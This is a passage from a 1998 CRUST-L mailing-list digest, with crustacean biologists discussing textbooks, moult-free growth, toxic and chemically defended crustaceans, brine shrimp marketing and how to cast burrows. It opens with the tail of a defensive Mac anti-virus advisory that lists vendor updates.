to find: via Comments: Symantec is working on a solution and will be providing one as soon as possible. Tool: Virex Status: Commerical Version: 05_02_98 and later When available: immediately Where to find: via Comments: All Virex Protection Service subscribers will automatically receive updates. Other info One comprehensive and useful WWW page of anti-virus information can be found at . A list of WWW-based anti-virus resources may be found at . ==== If you discover what you believe to be a virus on your Macintosh system, please report it to the vendor/author of your anti-virus software package for analysis. Such reports make early, informed warnings like this one possible for the rest of the Mac community. If you are otherwise unsure of who to contact, you may send e-mail to as an initial point of contact. Also, be aware that writing and releasing computer viruses or worms is more than a rude and damaging act of vandalism -- it is also a violation of many state and Federal laws in the US, and illegal in several other countries. If you have information concerning the author of this or any other damaging software, please contact your anti-virus software vendor or your national law enforcement agency. Several Mac virus authors have been apprehended thanks to the efforts of the Mac user community, and some have received criminal convictions for their actions. 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To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 6 May 1998 14:09:58 -0400 (EDT) Subject: CRUST-L: Lussier ] (fwd) Please respond to Bill Lussier, and not to me. THanks, Jeff - ---------- Forwarded message ---------- Date: Wed, 6 May 1998 00:20:39 -0400 From: Bill Lussier Subject: crustacean biology text Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" I'm looking for a text on crustacean biology that is suitable for 2nd year university level students. This text should focus on freshwater and marine crustaceans in general instead of on particular species or genera. Crustacean Farming by Lee and Wickins looks the most promising but I have not been able to get my hands on a copy yet. Thanks, Bill Lussier =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 6 May 1998 14:12:29 -0400 (EDT) Subject: Re: CRUST-L: moult-free growth Penny, The parasitic entoniscid isopods do not appear to molt. The females grow internally in the hemocoels of their hosts. I suspect that what-you'd-call the cuticle simply stretches. I haven't done any histology on the group to very the presence of chitin in the ""cuticle."" Otherwise, Jens' example of the rhizocephalan rootlets are good examples of growth without molting. Cheers, Jeff > Kia ora > I have heard of parasitic crustaceans with soft, unscleratinised cuticles, > which no longer moult but continue to grow in size. What is the current > understanding of this? Are these crustacea growing (addition of new > cellular material), or does their cuticle simply stretch? > thanks in advance > Penny > > ************************************************************************** > PENNY PALMER > Department of Marine Science, University of Otago > > P.O. Box 56, Dunedin, New Zealand > > ph. 64 (3) 479 8306 fax. 64 (3) 479 8336 > email: penny.palmer@stonebow.otago.ac.nz > ************************************************************************** > > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 6 May 1998 14:13:58 -0400 (EDT) Subject: CRUST-L: barnacles Please respond to AC Perkins, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: ""A.C. Perkins"" To: CRUST-L@vims.edu Date: Wed, 6 May 1998 17:56:46 +0100 (BST) Subject: BARNACLES Priority: normal X-mailer: Pegasus Mail for Windows (v2.40) Message-ID: Dear All, I'm trying to obtain specimens of the genus Ibla, can anybody help?? If you are working on this genus I should be grateful to hear from you. Thanks. Alan. Alan Perkins, Department of Geology, Leicester University, University Road, Leicester, LE1 7RH, England. Telephone 0116 2525060. Fax 0116 2523918. e mail ACP9@Leicester.ac.uk =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chip Biernbaum Date: Wed, 06 May 1998 15:58:05 -0400 (EDT) Subject: CRUST-L: Lussier ] (fwd) Bill, One that immediately comes to mind is volume 3 of Kaestner's ""Invertebrate Zoology,"" which deals exclusively with Crustacea. I don't know whether it is still in print, but it was/is published by Robt. E. Krieger Publishing Company in Huntington, NY, in 1980. I suspect that it is probably what you are looking for, although you'll need to update the information for your students (Kaestner's cut-off for information for the book was 1966). Another excellent possibility is Fred Schram's ""Crustacea"" (1986), published by Oxford University Press (with an office in NY). This is more up-to-date and detailed than Kaestner's, but it depends on what you are looking for. Reviews of Schram's book can be found in J. Crust. Biol. 7(1):200-201, J. Crust. Biol. 7(4):781-782, and American Scientist 75:295-296. Don't be surprised to be frustrated in your search -- I was when I looked for a text for my crustacean course many years ago. Chip >Return-path: >Date: Wed, 06 May 1998 14:09:58 -0400 (EDT) >From: Jeffrey Shields >Subject: CRUST-L: Lussier ] (fwd) >Sender: owner-crust-l@vims.edu >To: crust-l@VIMS.EDU >Reply-to: Jeffrey Shields > >Please respond to Bill Lussier, and not to me. >THanks, >Jeff > >---------- Forwarded message ---------- >Date: Wed, 6 May 1998 00:20:39 -0400 >From: Bill Lussier >Subject: crustacean biology text >Mime-Version: 1.0 >Content-Type: text/plain; charset=""us-ascii"" > >I'm looking for a text on crustacean biology that is suitable for 2nd year >university level students. This text should focus on freshwater and marine >crustaceans in general instead of on particular species or genera. >Crustacean Farming by Lee and Wickins looks the most promising but I have >not been able to get my hands on a copy yet. > >Thanks, > >Bill Lussier > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > Charles K. (Chip) Biernbaum Grice Marine Biological Laboratory College of Charleston 205 Ft. Johnson Charleston, SC 29412 843-406-4010 (FAX: 843-406-4001) e-mail: biernbaumc@cofc.edu PLEASE NOTE THE NEW AREA CODE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Wed, 6 May 1998 16:31:44 -0500 Subject: CRUST-L: toxic crusties responses Folks, Below are the responses I received to my question about toxic crustaceans, with authors. There weren't that many replies, so I left them intact. It's still somewhat lengthy, though. The upshot seems to be, yes there are toxic crusties, and maybe there are some venomous ones, but we really don't know much about this. The apparent lack of many toxic/venomous crustaceans is very interesting, especially given the ubiquity of defensive toxins and offensive/defensive venoms in arthropods and inverts generally (and even those abberant things, ""vertebrates""). This suggests first off that we are just missing the poisonous crusties. It also leads to the speculation that crusties with heavy raptorial appendages (crabs, lobsters, stomatopods) don't need venom, analogous to uropygids, amblypygids, and solpugids among arachnids. But they could still use defensive toxins-ask any octopus. But even if that is true, what about all the rest of the crusties? Why aren't any of them venomous? Or toxic, either synthesized or sequestered in their diet, from toxic organisms? Why don't filter-feeders in particular have defensive toxins? I wouldn't include in this question crusties that become toxic from their diet, but keep the toxin in the hepatopancreas. This would be accidental accumulation, and then keeping the toxin away from the rest of the crab's (e.g.) tissues. A defensive toxin that doesn't work until the owner is dead isn't much use-especially not without warning coloration or behaviors. There seems to be a serious issue here in need of work. And given the grant monies available for research into materia medica-and so toxic and venomous critters-from governments and pharmaceutical companies, maybe people ought to take an interest in this question? Phil DANIEL ABED-NAVANDI : Regarding toxic (or not ?) caprellids I can offer anecdotal support: While sorting dreged material I was stung by an animal which turned out to be a small caprellid. The pain I felt in my finger was similar to that of a bee-sting and lasted for a few hours. Regards Daniel _______________________________________ Daniel Abed-Navandi Department for Marine Biology Institute for Zoology University of Vienna Niel L. Bruce : A nice ""review"" of toxic crustaceans is: Llewellyn, L & Davie, P., 1987. Crabs and other crustaceans. Pp 127-135. In: 'Toxic Plants and Animals. A Guide for Australia.' Eds. Covacevihc, J, Davie, P. & Pearn, J, Queensland Museum: Brisbane. Pp 504. The ISBN 0 7242 2381 9 Niel L. Bruce 138 Carmody Road, St Lucia, Qld 4067, Australia. Phone: (07) 3217 8054; e-mail: Edwin Cruz-Rivera ecruzriv@email.unc.edu: An interesting question... Looking at some of the unpublished examples of chemically defended crustaceans that have been mentioned here makes you wonder if the lack of reports is because we have not looked hard enough. My recollection is that only pea crabs have been claimed to produce chemical defenses of any sort (this is in JEMBE, but I can't remember the year nor the authors). A particular mucus film on the carapace of the crab was argued to serve as defense, and it was only found on one of the larval stages. However, this paper lacked the critical tests that would conclusively demonstrate the presence of a chemical defense. For those larger crabs that have been claimed toxic, the accumulation of dinoflagellate metabolites is often responsible for the reports, most of which deal with medical cases (I did not know about Birgus latro, though). Whether this has an antipredatory effect in nature it is unknown. It certainly would mean death to the crab, since the toxins accumulate inside the body. Unless there is kin selection, this would not be much of an effective strategy. However, if there is sublethal predation, this may work. It is not unusual for a crab to lose a leg or two, and if the predators learn to avoid the animal there may be a net benefit. A similar argument has been made by Rikk Kvitek and coworkers about butter clams which accumulate dinoflagellate toxins, and which suffer from siphon nipping by natural enemies (Kvitekk and Beitler. 1988. J. Mar. Res. 4:629-636; Kvitekk. 1991. Mar. Biol. 111:369-374). I don't know of similar studies conducted on crustaceans. As far as ""behavioral sequestration"", a term often used to describe cases like Philip Oshel and Alistair Poore mention, in which defense is by association, there are a few reports. As Alistair pointed out, the amphipod Pseudoampithoides incurvaria makes a domicile from a chemically defended alga (Dictyota bartrayesii)and gets protection from fish. Interestingly, Barnard and Karaman (1991) mention that both Pseudoampithoides species described show the same behavior, but the chemistry of the interaction has only been studied in the case of P. incurvaria (Hay et al. 1990). McClintock's pteropod abduction by a hyperiid amphipod is similar. However, only a percentage of the amphipods in that paper had pteropods, and I have been told that these amphipods will carry on their backs a number of different things, so the chemical defense could be fortuitous. [Interjected comment by Oshel: this possibility was tested for by McClintock and Janssen. The Hyperiids are actively selecting Clione, not just grabbing anybody that comes along.] More recently, a friend of mine has demonstrated that the decorator crab, Libinia dubia, will selectively cover itself with a chemically defended brown seaweed, and that the chemical compound that deters feeding in fish is the one that stimulates decoration. That paper is in press in Ecology. Something similar could be happening with hermit crabs that gain added defense when their shells are covered by hydroids or with anemones, but again, the chemistry remains to be studied. As Philip Oshel notes, it is interesting to see that sequestration, which is so common in other arthropods, appears to be so rare in crustaceans. I wonder if anyone would care to comment on why that may be. Are the anatomical or metabolic adaptations that allow insects to sequester metabolites, missing from crustaceans? Intuitively I would say yes, but I would rather hear it from someone who knows. I doubt we know enough about crustacean physiology for some of the more exotic, non comercially important groups, but we know a fair deal about crustacean physiology for several of the larger species, as well as insects. Any ideas, any takers? Saludos, Edwin Cruz-Rivera Ph (919) 726-6841 Institute of Marine Sciences Fax (919) 726-2426 University of North Carolina, Chapel Hill email: ecruzriv@email.unc.edu 3431 Arendell Street Morehead City, NC 28557 P.J.F. Davie P.Davie@mailbox.uq.edu.au: In the review that Neil Bruce referred to we recorded 22 species of crabs in 5 families that had toxins in the flesh. Most are Xanthidae, but Portunidae, Grapsidae, Majidae, and Parthenopidae were also represented. Toxins identified include Saxitoxin, Paralytic Shellfish Poisons, Tetrodotoxin, and Palytoxin. Our belief is that all these types of toxin are taken in via the food chain - some seem to be reliably poisonous (such as at least some Demania species), while for most, toxicity varies according to place and probably season. In general we felt that most small coral reef crabs should be treated with suspicion. Grazers are presumably going to be the most likely to pick up toxins, but predators such as Thalamita (Portunidae) also had toxins, so in some cases amplification may occur. I haven't looked at the literature for a while but it seems there are no records of this phenomenon outside the Indo-West Pacific. With so many toxins involved, one would expect this process to be happening on Carribean reefs as well. Has anyone ever looked I wonder? Peter - ---------------------------------------------------- P.J.F. Davie Senior Curator, Crustacea Queensland Museum P.O. Box 3300 South Brisbane. QLD 4101 Australia Ph: 61.7.38407719 Fax: 61.7.38461226 Email: P.Davie@mailbox.uq.edu.au Curt Fiedler : > But is this, and similar reports, just happenstance? The crabs eat > poisonous plants, and so become poisonous, or are the crabs actually > *selecting* toxic plants to eat in order to acquire the toxics for their > own use as defensive chemicals? Actually, there's pretty good circumstantial evidence of this. I don't know if Birgus are eating to avoid predation, but on islands where this family of plants is common, natives will tie up Birgus or put them in a drum for several days to cleanse their systems. There is also a paper testing the toxicity of Birgus tissue fractions to mice, and the hepatopancreas of these crabs was quite poisonous. It wasn't clear which plant was involved. I looked into this literature to prepare a (unfunded) proposal examining the effect of rat poison or Birgus. I recall there was a Holthuis paper on toxic crustaceans too. I'll dig up the bibiography and post it. Rats often eat young crabs, and older crabs often eat rats. It seems that the plant alkaloids involved did not affect the crab much, but can have an effect on vertebrates. - -Curt Gregory Jensen : There are at least two species of amphipods in the Pacific Northwest that appear to utilize chemical defenses. Both are very boldly marked, sit right out in the open, and are rejected when offered to fish. When stressed they release a brownish liquid from the mouth, much like the ""spit"" from grasshoppers (which contains toxins sequestered from plants). A fish ecologist, Steve Norton, has done quite a bit of work on these amphipods but I don't know of any published information yet. Gregory C. Jensen University of Washington Gustav Paulay : For whatever it is worth, on the island of Mauke (Cook Islands), the spiny lobster Panulirus penicillatus is regarded as toxic by the locals on some parts of the reef, but not elsewhere. Gustav Paulay Marine Lab university of Guam Alistair G. B. Poore a.poore@unsw.edu.au: Among the herbivorous amphipods, many of which do consume algae rich in secondary metabolites, there are, to my knowledge, no published examples of chemical sequestration like that found in terrestrial insects or other marine herbivores such as sea hares. Neither have I heard of any examples of equestration from other chemically rich hosts such as sponges, soft corals or bryozoans. There is one system analogous to McClintock's in which an ampithoid (Pseudamphithoides incurvaria) carries around a small house made of an alga (Dictyota) unpalatable to fish. See Hay et al (1990) Host-plant specialization decreases predation on a marine amphipod: an herbivore in plant's clothing. Ecology 71: 733-743 for details. - -- Alistair G. B. Poore School of Biological Sciences University of New South Wales Sydney, 2052 Australia Phone: 61 2 9385 2080 Fax: 61 2 9385 1558 Email: a.poore@unsw.edu.au Jeffrey Shields : both enteries > >Thanks for posting an interesting discussion item. Few responses as yet, > >but I know that the remipedes have some toxins that are secreted from > >their mandibles. Saw a great poster at the TCS meeting in Mobile. Bruce Felgenhaur (sp?) presented the poster at TCS meeting. I think there is good circumstantial evidence that the remipedes have a toxin producing mandibular (?) organ. Don't know if the paper's been published yet. I think the poisonous crabs from the South Pacific obtain their toxin from eating algae, cf. ciguatera. Cheers, Jeff From: Martin Thiel : Phil, check out the papers by Mark Hay and his students.... there are some nice examples of amphipods using secondary toxins... best wishes, martin phil, i forgot. did somebody during the toxic-crust discussion mention the studies by TOMASCHKO on Pycnogonum littorale? if not, let me know and i'll dig out the references. greetings, martin ok, phil, here is probably the most easily accessible reference about these pycnogonids: Tomaschko, K.-H., 1994. Ecdysteroids from Pycgnogonum litorale (Arthropoda, Pantopoda) act as chemical defense against Carcinus maenas (Crustacea, Decapoda). J. chem. Ecol. 20: 1445-1455. martin Phil: Crabs of the genus Pelia seem to prefer sponges of certain species, but I never was able to identify them or have them identified. (Jerry Backus always is overloaded with work). Of the other decorators, they use just about any sponge of any taxon that is readily available. They don't seem able to scrape encrusting sponges off rocks, but any sponge that has vertical relief is fine with them. I have a Libinia and a Macrocoeloma in my aquarium right now that are busily redistributing a Haliclona sponge. Crabs of the family Dromiidae seem to prefer whatever sponge is the most common in their habitat, too. There are hermit crabs that live in sponges that overgrow their shells and form a covering for the crab. I've never seen any evidence of selection for toxicity, although it surely is an additional benefit of decorating or carrying a sponge. WICKSTEN@bio.tamu.edu: The work on toxic crabs appeared in systematic work on crabs of the family Xanthidae (John Garth's work) and in the journal Toxicon, a toxicological journal not on the usual reading list of crustacean biologist. Mary Wicksten }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #141 ***************************** >From owner-crust-l Mon May 11 02:27:36 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id CAA07949 for crust-l-digest-outgoing; Mon, 11 May 1998 02:25:11 -0400 Date: Mon, 11 May 1998 02:25:11 -0400 Message-Id: <199805110625.CAA07949@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #142 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 16 crust-l-digest Monday, 11 May 1998 Volume 01 : Number 142 CRUST-L: hemolymph volume CRUST-L: Brine Shrimp Re: CRUST-L: Brine Shrimp Re: CRUST-L: Brine Shrimp CRUST-L: BURROWS Re: CRUST-L: BURROWS CRUST-L: Dye - intermolt stages CRUST-L: Cyclops- why one eye? CRUST-L: aquaculture and the web CRUST-L: crust primers [none] CRUST-L: Cyclops- why one eye? CRUST-L: Giant spider crabs Re: CRUST-L: BURROWS ---------------------------------------------------------------------- From: rjapajus@alpha2.curtin.edu.au (Japo Jussila) Date: Thu, 7 May 1998 15:45:58 +0800 (WST) Subject: CRUST-L: hemolymph volume MOI FELLOW CRUST-LISTERS, I am wrestling with western rock lobster hemocytes, mainly trying to figure out the changes in circulating hemocytes induced by various treatments, i.e. stressors. One of the questions I have to address is the change in hemolymph volume as it affects the numbers of the circulating hemocytes. The literature gives very confusing advice on methods that can be used to measure hemolymph volume. I wonder if anyone out there has useful suggestions on precise and idiotproof methods (=simple and easy) to measure the hemolymph volume in western rock lobsters. Thanks in advance and my best craywishes Dr Japo Jussila Aquatic Science Research Unit Curtin University Perth, Western Australia tel 61 (08) 9336 6081 phax 61 (08) 9336 6082 'Prefiero morir de pie que vivir siempre arrodillado' Che Guevara =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Debi Ingrao Date: Thu, 7 May 1998 15:54:06 -0700 (PDT) Subject: CRUST-L: Brine Shrimp Does any one know why and when the name ""Sea Monkey"" was used to refer to Brine Shrimp?? Ingrao Mote Marine Laboratory Phone: (941) 388-4441 EXT. 436 Benthic Ecology Program Fax: (941) 388-4312 1600 Thompson Parkway Sarasota, Fl 34236 e-mail: debi@marinelab.sarasota.fl.us See: http://www.marinelab.sarasota.fl.us We are an independent, nonprofit, marine and estuarine research and education facility. Opinions expressed here are NOT MML policy unless so indicated. Don't CLAM up! THINK SAFETY =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Thu, 7 May 1998 19:23:34 -0500 Subject: Re: CRUST-L: Brine Shrimp Marketing. The guy who thought of selling them to the public (I forget his name) needed a better name than ""Artemia salina"" or ""brine shrimp"" to sell them from the backs of comic books and the like. Phil >Does any one know why and when the name ""Sea Monkey"" was used to refer >to Brine Shrimp?? > >Ingrao >Mote Marine Laboratory }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Eric Guinther Date: Thu, 07 May 1998 15:26:06 -1000 Subject: Re: CRUST-L: Brine Shrimp At 03:54 PM 5/7/98 -0700, you wrote: > >Does any one know why and when the name ""Sea Monkey"" was used to refer >to Brine Shrimp?? It was a marketing effort to get little kids (like myself, then) to want to buy the cysts (""eggs"") and hatch those ""cute"" little critters that behaved like little monkeys in a jar of water. I can picture the adds in the '60s and perhaps as far back as the '50s (?) Eric Guinther aecos@pixi.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: clawrence@fish.wa.gov.au Date: Fri, 8 May 1998 11:27:45 +0800 Subject: CRUST-L: BURROWS Hi everyone Has anyone had any experience describing the morphology of crayfish burrows? I am trying to work out the shape and depth of burrows and so far have only come up with cement, resin, latex and expanding foam, some have provided acceptable results, none are brilliant and all require a lot of digging!! Any suggestions or recommendations would be appreciated. Regards Craig <>< <>< <>< <>< <>< <>< <>< Craig Lawrence Research Scientist (Aquaculture) Fisheries Western Australia Fisheries Research Division WA Marine Research Laboratories Ph +61 9 246 8461 Fax +61 9 447 3062 Email clawrence@fish.wa.gov.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 8 May 1998 08:55:15 -0400 (EDT) Subject: Re: CRUST-L: BURROWS Craig, I've used fiberglass resin on Uca burrows with some success. The trick is to add less hardener and to let it cure overnight before digging. And yes, you have to dig, that's par for the course. John Christy uses paraffin with success but I think the burrows have to above the water level for this to work well. Cheers, Jeff On Fri, 8 May 1998 clawrence@fish.wa.gov.au wrote: > Hi everyone > > Has anyone had any experience describing the morphology of crayfish > burrows? I am trying to work out the shape and depth of burrows and so far > have only come up with cement, resin, latex and expanding foam, some have > provided acceptable results, none are brilliant and all require a lot of > digging!! > > Any suggestions or recommendations would be appreciated. > > Regards > > Craig > <>< <>< <>< <>< <>< <>< <>< > Craig Lawrence > Research Scientist (Aquaculture) > Fisheries Western Australia > Fisheries Research Division > WA Marine Research Laboratories > Ph +61 9 246 8461 Fax +61 9 447 3062 > Email clawrence@fish.wa.gov.au > > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Margarida Castro Date: Wed, 29 Aug 1990 15:59:51 +0200 Subject: CRUST-L: Dye - intermolt stages Dear collegues, I need to dye slices of Nephrops appendages (telsons) in order to look at the formation of the carapace (Nephrops = small red lobster related with Homarus) . The objective is to define the intermolt stages based on the development of the carapace. The pieces are mounted in historesin. Can anyone give advice on the best dye to use? Tank you all, Margarida Margarida Castro UCTRA Universidade do Algarve Gambelas 8000 Faro Portugal Tel: +351-89-800970 FAx: +351-89-818353 email: mcastro@ualg.pt =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Debi Ingrao Date: Fri, 8 May 1998 